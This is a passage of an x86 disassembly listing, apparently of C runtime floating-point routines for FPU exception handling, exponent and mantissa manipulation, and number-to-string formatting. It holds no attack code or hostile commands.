retn sub_41C040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C2F3 proc near ; CODE XREF: sub_41BFA8+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_41C31E test byte ptr [ebp+arg_8], bl jz short loc_41C31E push ebx call sub_41C7A0 pop ecx and edi, 0FFFFFFF7h jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C31E: ; CODE XREF: sub_41C2F3+15j ; sub_41C2F3+1Aj test al, 4 jz short loc_41C338 test byte ptr [ebp+arg_8], 4 jz short loc_41C338 push 4 call sub_41C7A0 pop ecx and edi, 0FFFFFFFBh jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C338: ; CODE XREF: sub_41C2F3+2Dj ; sub_41C2F3+33j test al, bl jz loc_41C412 test byte ptr [ebp+arg_8], 8 jz loc_41C412 push 8 call sub_41C7A0 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_41C3EA cmp ecx, 400h jz short loc_41C3C2 cmp ecx, 800h jz short loc_41C39A cmp ecx, eax jnz loc_41C40A mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fld dbl_43B8D0 fnstsw ax sahf ja short loc_41C392 fchs loc_41C392: ; CODE XREF: sub_41C2F3+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C39A: ; CODE XREF: sub_41C2F3+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fnstsw ax sahf jbe short loc_41C3B2 fld dbl_43B8C0 jmp short loc_41C3BA ; --------------------------------------------------------------------------- loc_41C3B2: ; CODE XREF: sub_41C2F3+B5j fld dbl_43B8D0 fchs loc_41C3BA: ; CODE XREF: sub_41C2F3+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C3C2: ; CODE XREF: sub_41C2F3+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fnstsw ax sahf jbe short loc_41C3DA fld dbl_43B8D0 jmp short loc_41C3E2 ; --------------------------------------------------------------------------- loc_41C3DA: ; CODE XREF: sub_41C2F3+DDj fld dbl_43B8C0 fchs loc_41C3E2: ; CODE XREF: sub_41C2F3+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C3EA: ; CODE XREF: sub_41C2F3+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fld dbl_43B8C0 fnstsw ax sahf ja short loc_41C402 fchs loc_41C402: ; CODE XREF: sub_41C2F3+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_41C408: ; CODE XREF: sub_41C2F3+A5j ; sub_41C2F3+CDj ... fstp qword ptr [ecx] loc_41C40A: ; CODE XREF: sub_41C2F3+81j and edi, 0FFFFFFFEh jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C412: ; CODE XREF: sub_41C2F3+47j ; sub_41C2F3+51j test al, 2 jz loc_41C4E8 test byte ptr [ebp+arg_8], 10h jz loc_41C4E8 push esi xor esi, esi test al, 10h jz short loc_41C42D mov esi, ebx loc_41C42D: ; CODE XREF: sub_41C2F3+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_424818 fnstsw ax sahf jz loc_41C4D6 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_41C69F mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_41C478 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_41C4CC ; --------------------------------------------------------------------------- loc_41C478: ; CODE XREF: sub_41C2F3+17Aj fld [ebp+var_C] fcomp dbl_424818 fnstsw ax sahf jnb short loc_41C48A mov edx, ebx jmp short loc_41C48C ; --------------------------------------------------------------------------- loc_41C48A: ; CODE XREF: sub_41C2F3+191j xor edx, edx loc_41C48C: ; CODE XREF: sub_41C2F3+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_41C4C0 sub eax, ecx loc_41C4A3: ; CODE XREF: sub_41C2F3+1CBj test byte ptr [ebp+var_C], bl jz short loc_41C4AE test esi, esi jnz short loc_41C4AE mov esi, ebx loc_41C4AE: ; CODE XREF: sub_41C2F3+1B3j ; sub_41C2F3+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_41C4BA or byte ptr [ebp+var_C+3], 80h loc_41C4BA: ; CODE XREF: sub_41C2F3+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_41C4A3 loc_41C4C0: ; CODE XREF: sub_41C2F3+1ACj test edx, edx jz short loc_41C4CC fld [ebp+var_C] fchs fstp [ebp+var_C] loc_41C4CC: ; CODE XREF: sub_41C2F3+183j ; sub_41C2F3+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_41C4D8 ; --------------------------------------------------------------------------- loc_41C4D6: ; CODE XREF: sub_41C2F3+14Ej mov esi, ebx loc_41C4D8: ; CODE XREF: sub_41C2F3+1E1j test esi, esi pop esi jz short loc_41C4E5 push 10h call sub_41C7A0 pop ecx loc_41C4E5: ; CODE XREF: sub_41C2F3+1E8j and edi, 0FFFFFFFDh loc_41C4E8: ; CODE XREF: sub_41C2F3+26j ; sub_41C2F3+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_41C4FF test byte ptr [ebp+arg_8], 20h jz short loc_41C4FF push 20h call sub_41C7A0 pop ecx and edi, 0FFFFFFEFh loc_41C4FF: ; CODE XREF: sub_41C2F3+1F9j ; sub_41C2F3+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_41C2F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C50A(int,int,int,int,int,int,double,int) sub_41C50A proc near ; CODE XREF: sub_41BF55+2Bp ; sub_41BFA8+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_41C5B8 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_41C575 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_41C77D lea eax, [ebp+var_20] push eax call sub_42017F add esp, 0Ch test eax, eax jnz short loc_41C56F push esi call sub_41C592 pop ecx loc_41C56F: ; CODE XREF: sub_41C50A+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_41C575: ; CODE XREF: sub_41C50A+14j push 0FFFFh push [ebp+arg_20] call sub_41C77D push [ebp+arg_0] call sub_41C592 fld [ebp+arg_18] add esp, 0Ch leave retn sub_41C50A endp ; =============== S U B R O U T I N E ======================================= sub_41C592 proc near ; CODE XREF: sub_41BFA8+7Dp ; sub_41C50A+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_41C5AD jle short locret_41C5B7 cmp eax, 3 jg short locret_41C5B7 mov dword_48A014, 22h retn ; --------------------------------------------------------------------------- loc_41C5AD: ; CODE XREF: sub_41C592+7j mov dword_48A014, 21h locret_41C5B7: ; CODE XREF: sub_41C592+9j ; sub_41C592+Ej retn sub_41C592 endp ; =============== S U B R O U T I N E ======================================= sub_41C5B8 proc near ; CODE XREF: sub_41C50A+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43B7E8 loc_41C5BF: ; CODE XREF: sub_41C5B8+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_41C5D5 add eax, 8 inc ecx cmp eax, offset dbl_43B8C0 jl short loc_41C5BF xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C5D5: ; CODE XREF: sub_41C5B8+Dj mov eax, off_43B7EC[ecx*8] retn sub_41C5B8 endp ; =============== S U B R O U T I N E ======================================= sub_41C5DD proc near ; CODE XREF: sub_41BFA8+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_41C5E9 push 5 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5E9: ; CODE XREF: sub_41C5DD+6j test al, 8 jz short loc_41C5F1 push 1 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5F1: ; CODE XREF: sub_41C5DD+Ej test al, 4 jz short loc_41C5F9 push 2 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5F9: ; CODE XREF: sub_41C5DD+16j test al, 1 jz short loc_41C601 push 3 loc_41C5FF: ; CODE XREF: sub_41C5DD+Aj ; sub_41C5DD+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_41C601: ; CODE XREF: sub_41C5DD+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_41C5DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C60A(double) sub_41C60A proc near ; CODE XREF: sub_417CA4:loc_417D2Ap ; sub_417DEB:loc_417E71p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_41C60A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C61C(double,int) sub_41C61C proc near ; CODE XREF: sub_41C69F+82p ; sub_41C69F+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_41C61C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_417CA4+31p ; sub_417DEB+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_41C65C cmp [ebp+arg_0], edx jnz short loc_41C66E push 1 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C65C: ; CODE XREF: sub_41C645+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_41C66E cmp [ebp+arg_0], edx jnz short loc_41C66E push 2 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C66E: ; CODE XREF: sub_41C645+11j ; sub_41C645+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_41C681 push 3 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C681: ; CODE XREF: sub_41C645+36j cmp cx, 7FF0h jnz short loc_41C69B test [ebp+arg_4], 7FFFFh jnz short loc_41C696 cmp [ebp+arg_0], edx jz short loc_41C69B loc_41C696: ; CODE XREF: sub_41C645+4Aj push 4 loc_41C698: ; CODE XREF: sub_41C645+15j ; sub_41C645+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41C69B: ; CODE XREF: sub_41C645+41j ; sub_41C645+4Fj xor eax, eax pop ebp retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C69F(double,int) sub_41C69F proc near ; CODE XREF: sub_41C2F3+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_424818 push esi fnstsw ax sahf jnz short loc_41C6BF fldz xor esi, esi fstp [ebp+var_8] jmp loc_41C755 ; --------------------------------------------------------------------------- loc_41C6BF: ; CODE XREF: sub_41C69F+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_41C72E test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_41C6D7 cmp dword ptr [ebp+arg_0], ecx jz short loc_41C72E loc_41C6D7: ; CODE XREF: sub_41C69F+31j fld [ebp+arg_0] fcomp dbl_424818 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_41C6EF push 1 pop eax jmp short loc_41C6F1 ; --------------------------------------------------------------------------- loc_41C6EF: ; CODE XREF: sub_41C69F+49j xor eax, eax loc_41C6F1: ; CODE XREF: sub_41C69F+4Ej ; sub_41C69F+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_41C70A shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_41C704 or dword ptr [ebp+arg_0+4], 1 loc_41C704: ; CODE XREF: sub_41C69F+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_41C6F1 ; --------------------------------------------------------------------------- loc_41C70A: ; CODE XREF: sub_41C69F+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_41C718 or byte ptr [ebp+arg_0+7], 80h loc_41C718: ; CODE XREF: sub_41C69F+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41C61C fstp [ebp+var_8] add esp, 0Ch jmp short loc_41C755 ; --------------------------------------------------------------------------- loc_41C72E: ; CODE XREF: sub_41C69F+28j ; sub_41C69F+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41C61C mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_41C755: ; CODE XREF: sub_41C69F+1Bj ; sub_41C69F+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_41C69F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C760 proc near ; CODE XREF: sub_41C040+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C76E proc near ; CODE XREF: sub_41C040+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_41C76E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C77D proc near ; CODE XREF: sub_417CA4+13p ; sub_417CA4+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_41C77D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C7A0 proc near ; CODE XREF: sub_41C2F3+1Dp ; sub_41C2F3+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_41C7B7 fld tbyte_43B8E8 fistp [ebp+arg_0] wait loc_41C7B7: ; CODE XREF: sub_41C7A0+Bj test cl, 8 jz short loc_41C7CC fstsw ax fld tbyte_43B8E8 fstp [ebp+var_8] wait fstsw ax loc_41C7CC: ; CODE XREF: sub_41C7A0+1Aj test cl, 10h jz short loc_41C7DB fld tbyte_43B8F4 fstp [ebp+var_8] wait loc_41C7DB: ; CODE XREF: sub_41C7A0+2Fj test cl, 4 jz short loc_41C7E9 fldz fld1 fdivrp st(1), st fstp st wait loc_41C7E9: ; CODE XREF: sub_41C7A0+3Ej test cl, 20h jz short locret_41C7F4 fldpi fstp [ebp+var_8] wait locret_41C7F4: ; CODE XREF: sub_41C7A0+4Cj leave retn sub_41C7A0 endp ; =============== S U B R O U T I N E ======================================= sub_41C7F6 proc near ; CODE XREF: sub_417D73+Fp push 30000h push 10000h call sub_4201B7 pop ecx pop ecx retn sub_41C7F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C808 proc near ; CODE XREF: sub_41C846:loc_41C86Aj var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_424828 fstp [ebp+var_8] fld dbl_424820 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_4246A8 fnstsw ax sahf jbe short loc_41C842 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_41C842: ; CODE XREF: sub_41C808+33j xor eax, eax leave retn sub_41C808 endp ; =============== S U B R O U T I N E ======================================= sub_41C846 proc near ; CODE XREF: sub_417D73+5p push offset aKernel32 ; "KERNEL32" call near ptr 2710A87h nop test eax, eax jz short loc_41C86A push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26E0000h test eax, eax jz short loc_41C86A push 0 call eax retn ; --------------------------------------------------------------------------- loc_41C86A: ; CODE XREF: sub_41C846+Dj ; sub_41C846+1Dj jmp sub_41C808 sub_41C846 endp ; =============== S U B R O U T I N E ======================================= sub_41C86F proc near ; CODE XREF: sub_419E38+3CBp ; DATA XREF: sub_417D8B+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_419101 cmp eax, 65h pop ecx jz short loc_41C8AF loc_41C883: ; CODE XREF: sub_41C86F+3Ej inc esi cmp dword_4397AC, 1 jle short loc_41C89C movsx eax, byte ptr [esi] push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41C8AB ; --------------------------------------------------------------------------- loc_41C89C: ; CODE XREF: sub_41C86F+1Cj movsx eax, byte ptr [esi] mov ecx, off_4395A0 mov al, [ecx+eax*2] and eax, 4 loc_41C8AB: ; CODE XREF: sub_41C86F+2Bj test eax, eax jnz short loc_41C883 loc_41C8AF: ; CODE XREF: sub_41C86F+12j mov cl, byte_4397B0 mov al, [esi] mov [esi], cl inc esi loc_41C8BA: ; CODE XREF: sub_41C86F+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_41C8BA pop esi retn sub_41C86F endp ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_419E38+3E2p ; DATA XREF: sub_417D8B+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_4397B0 mov cl, [eax] test cl, cl jz short loc_41C8E5 loc_41C8D9: ; CODE XREF: sub_41C8C9+1Aj cmp cl, dl jz short loc_41C8E5 mov cl, [eax+1] inc eax test cl, cl jnz short loc_41C8D9 loc_41C8E5: ; CODE XREF: sub_41C8C9+Ej ; sub_41C8C9+12j mov cl, [eax] inc eax test cl, cl jz short locret_41C916 loc_41C8EC: ; CODE XREF: sub_41C8C9+34j mov cl, [eax] test cl, cl jz short loc_41C8FF cmp cl, 65h jz short loc_41C8FF cmp cl, 45h jz short loc_41C8FF inc eax jmp short loc_41C8EC ; --------------------------------------------------------------------------- loc_41C8FF: ; CODE XREF: sub_41C8C9+27j ; sub_41C8C9+2Cj ... mov ecx, eax loc_41C901: ; CODE XREF: sub_41C8C9+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_41C901 cmp [eax], dl jnz short loc_41C90C dec eax loc_41C90C: ; CODE XREF: sub_41C8C9+40j ; sub_41C8C9+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_41C90C locret_41C916: ; CODE XREF: sub_41C8C9+21j retn sub_41C8C9 endp ; =============== S U B R O U T I N E ======================================= sub_41C917 proc near ; DATA XREF: sub_417D8B+28o ; ___:off_43B910o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_424818 fnstsw ax sahf jb short loc_41C92C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41C92C: ; CODE XREF: sub_41C917+Fj xor eax, eax retn sub_41C917 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C92F proc near ; CODE XREF: sub_41D797+430p ; DATA XREF: sub_417D8B+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_41C958 lea eax, [ebp+var_8] push eax call sub_42067A mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_41C958: ; CODE XREF: sub_41C92F+Cj lea eax, [ebp+arg_8] push eax call sub_4206A7 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_41C92F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C96D proc near ; CODE XREF: sub_41CBEA+17p ; sub_41CC34+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_48A084, 0 push ebx push esi jz short loc_41C9A2 mov ebx, [ebp+arg_8] mov eax, dword_48A080 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_41CC85 pop ecx pop ecx jmp short loc_41C9DA ; --------------------------------------------------------------------------- loc_41C9A2: ; CODE XREF: sub_41C96D+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_42074B mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_4206D4 add esp, 14h loc_41C9DA: ; CODE XREF: sub_41C96D+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_41C9E6 mov byte ptr [eax], 2Dh inc eax loc_41C9E6: ; CODE XREF: sub_41C96D+73j test ebx, ebx jle short loc_41C9FE mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_4397B0 mov eax, edi pop edi mov [eax], cl loc_41C9FE: ; CODE XREF: sub_41C96D+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_48A084, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_4179C0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_41CA25 mov byte ptr [ecx], 45h loc_41CA25: ; CODE XREF: sub_41C96D+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_41CA6A mov ebx, [esi+4] dec ebx jns short loc_41CA39 neg ebx mov byte ptr [ecx], 2Dh loc_41CA39: ; CODE XREF: sub_41C96D+C5j inc ecx cmp ebx, 64h jl short loc_41CA50 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41CA50: ; CODE XREF: sub_41C96D+D0j inc ecx cmp ebx, 0Ah jl short loc_41CA67 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41CA67: ; CODE XREF: sub_41C96D+E7j add [ecx+1], bl loc_41CA6A: ; CODE XREF: sub_41C96D+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_41C96D endp ; =============== S U B R O U T I N E ======================================= sub_41CA71 proc near ; CODE XREF: sub_41CC11+13p ; sub_41CC34+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_48A084, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_41CAAC mov eax, dword_48A088 mov ebx, [esp+10h+arg_8] mov esi, dword_48A080 cmp eax, ebx jnz short loc_41CADC xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_41CADC ; --------------------------------------------------------------------------- loc_41CAAC: ; CODE XREF: sub_41CA71+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_42074B mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_4206D4 add esp, 14h loc_41CADC: ; CODE XREF: sub_41CA71+22j ; sub_41CA71+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_41CAEA mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_41CAEA: ; CODE XREF: sub_41CA71+70j mov eax, [esi+4] test eax, eax jg short loc_41CB01 push 1 push edi call sub_41CC85 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_41CB03 ; --------------------------------------------------------------------------- loc_41CB01: ; CODE XREF: sub_41CA71+7Ej add edi, eax loc_41CB03: ; CODE XREF: sub_41CA71+8Ej test ebx, ebx jle short loc_41CB48 push 1 push edi call sub_41CC85 mov al, byte_4397B0 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_41CB48 cmp byte_48A084, 0 jz short loc_41CB2D neg esi jmp short loc_41CB33 ; --------------------------------------------------------------------------- loc_41CB2D: ; CODE XREF: sub_41CA71+B6j neg esi cmp ebx, esi jl short loc_41CB35 loc_41CB33: ; CODE XREF: sub_41CA71+BAj mov ebx, esi loc_41CB35: ; CODE XREF: sub_41CA71+C0j push ebx push edi call sub_41CC85 push ebx push 30h push edi call sub_417330 add esp, 14h loc_41CB48: ; CODE XREF: sub_41CA71+94j ; sub_41CA71+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_41CA71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB4F proc near ; CODE XREF: sub_41CC34+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_42074B mov dword_48A080, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_48A088, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_4206D4 mov eax, dword_48A080 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_48A088, ecx setl cl mov byte_48A08C, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_48A088, eax jl short loc_41CBD5 cmp eax, ebx jge short loc_41CBD5 test cl, cl jz short loc_41CBC6 loc_41CBBC: ; CODE XREF: sub_41CB4F+72j mov al, [esi] inc esi test al, al jnz short loc_41CBBC and [esi-2], al loc_41CBC6: ; CODE XREF: sub_41CB4F+6Bj push ebx push [ebp+arg_4] push edi call sub_41CC11 add esp, 0Ch jmp short loc_41CBE5 ; --------------------------------------------------------------------------- loc_41CBD5: ; CODE XREF: sub_41CB4F+63j ; sub_41CB4F+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_41CBEA add esp, 10h loc_41CBE5: ; CODE XREF: sub_41CB4F+84j pop edi pop esi pop ebx pop ebp retn sub_41CB4F endp ; =============== S U B R O U T I N E ======================================= sub_41CBEA proc near ; CODE XREF: sub_41CB4F+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_48A084, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C96D and byte_48A084, 0 add esp, 10h retn sub_41CBEA endp ; =============== S U B R O U T I N E ======================================= sub_41CC11 proc near ; CODE XREF: sub_41CB4F+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_48A084, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41CA71 and byte_48A084, 0 add esp, 0Ch retn sub_41CC11 endp 